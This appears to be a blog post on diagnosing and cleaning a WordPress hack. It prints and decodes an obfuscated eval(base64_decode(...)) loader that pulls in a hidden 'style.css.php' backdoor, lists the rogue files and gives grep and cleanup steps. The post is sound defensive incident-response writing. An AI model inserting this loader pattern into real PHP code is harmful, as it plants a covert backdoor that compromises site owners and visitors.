WordPress, style.css.php and You

I’ve been seeing this code crop up a lot in some of the recent WordPress hacks that I’ve had to diagnose:

< ?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3VzZXIvZG9tYWluLmNvbS93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

Most folks with this issue have a problem with “wp-login.php” returning a blank page for users trying to get into “wp-admin” — so if you’re seeing that, it may be a good sign that this is to blame.

Running that bit of nastiness above thru a base64 decoder gets us this:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/user/domain.com/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

Hrm. Let’s go ahead and have a look at “wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/”…

-rw-r--r-- 2 user group 13789 2010-08-10 06:20 bi
-rw-r--r-- 1 user group 212 2008-10-28 03:59 butt2.png
-rw-r--r-- 1 user group 5859 2008-01-31 10:10 button_bg.png
-rw-r--r-- 2 user group 880 2010-12-26 02:32 cnf
-rw-r--r-- 2 user group 50 2010-12-24 03:38 csi
-rw-r--r-- 1 user group 60 2008-01-31 10:10 down_arrow.gif
-rw-r--r-- 1 user group 785 2008-01-31 10:10 fade-butt.png
-rw-r--r-- 2 user group 1223 2010-07-29 20:55 ggl
-rw-r--r-- 2 user group 68 2010-04-07 22:44 kwd
-rw-r--r-- 2 user group 23813 2010-12-26 02:32 lb
-rw-r--r-- 2 user group 0 2010-04-07 07:35 lock
-rw-r--r-- 2 user group 225 2010-12-24 03:38 rlf
-rw-r--r-- 2 user group 62159 2010-03-29 19:23 s.php
-rw-r--r-- 1 user group 57 2008-01-31 10:10 separator.gif
-rw-r--r-- 2 user group 89338 2010-03-30 02:09 skwd
-rw-r--r-- 2 user group 254760 2010-12-23 03:06 style.css.php
-rw-r--r-- 2 user group 402 2010-03-30 02:09 swf
-rw-r--r-- 1 user group 1326 2008-02-21 13:40 tabs.gif

Wait a minute. That directory in a fresh install looks like…

-rw-r--r-- 1 user group 212 2010-12-08 12:59 butt2.png
-rw-r--r-- 1 user group 5859 2010-12-08 12:59 button_bg.png
-rw-r--r-- 1 user group 60 2010-12-08 12:59 down_arrow.gif
-rw-r--r-- 1 user group 785 2010-12-08 12:59 fade-butt.png
-rw-r--r-- 1 user group 57 2010-12-08 12:59 separator.gif
-rw-r--r-- 1 user group 1326 2010-12-08 12:59 tabs.gif

So “style.css.php” shouldn’t even exist at that location.  In fact, its existence is a solid indicator that your site has been flat out pwn3d.

If you have access to a BSD or Linux shell and do a recursive grep for the first 10 characters piped to a line count at the root of your WordPress install, you’ll get a pretty solid idea of how many files the hackers have managed to infect.

grep -R aWYoZnVuY3 * |wc -l

Just to give you a baseline measurement, I’ve personally seen this code crop up in anywhere from 300 to 1100 files. It really tries its best to be impossible get rid of. Simply unpacking a fresh copy of WordPress over the top of the hacked site won’t work. This nasty piece of work gets into your themes, plugins and even your cached pages.

So what do we do to fix it? I’m glad you asked.

  1. Make a backup copy of your current WordPress install. This means on your local computer or in a non-web accessible directory on your host.
  2. Remove the exec statement from the top of the infected “wp-config.php” file.
  3. Clear out your site’s directory. LEAVE. NOTHING. BEHIND.
  4. Install a fresh copy of WordPress into the now clean directory.
  5. Drop the tidied up copy of “wp-config.php” into the new install’s root directory.
  6. Restore your uploads directory (if you actually use it, that is).
  7. Install fresh copies of any WordPress themes and plugins you might need. DO NOT COPY OVER ANY PLUGINS OR THEMES FROM THE INFECTED INSTALL!
  8. Since the hacker had enough access to your site to insert their crap, assume that they now have your password info. Change the passwords for your MySQL and WordPress admin users as soon as you can. If you need help with that, the support staff at your host should be able to sort you out.

Now you’re back to (mostly) normal. You may have to make some customizations to your theme here and there — but having to do that is way better than letting your site stay hacked.

Oh, and just to be safe, consider installing Exploit Scanner in your copy of WordPress and running it against your database.  The last thing I’d want is for you to spend all that time cleaning up your site just to have it pwn3d a second time.

Good luck!

P.S. If you do manage to spot something in that scan, let me know! I haven’t had to do a clean-up on one of the installs that I maintain just yet, so any extra info y’all can hook me up with would be helpful for everyone out there affected by this.

Update: I just got to do a cleanup of a friend’s site who was unfortunate enough to get hit. It looks like the database on their site isn’t hiding anything nasty. Still, it’s a wise idea to run Exploit Scanner just to make sure there aren’t any variants of the attack that do write to the database.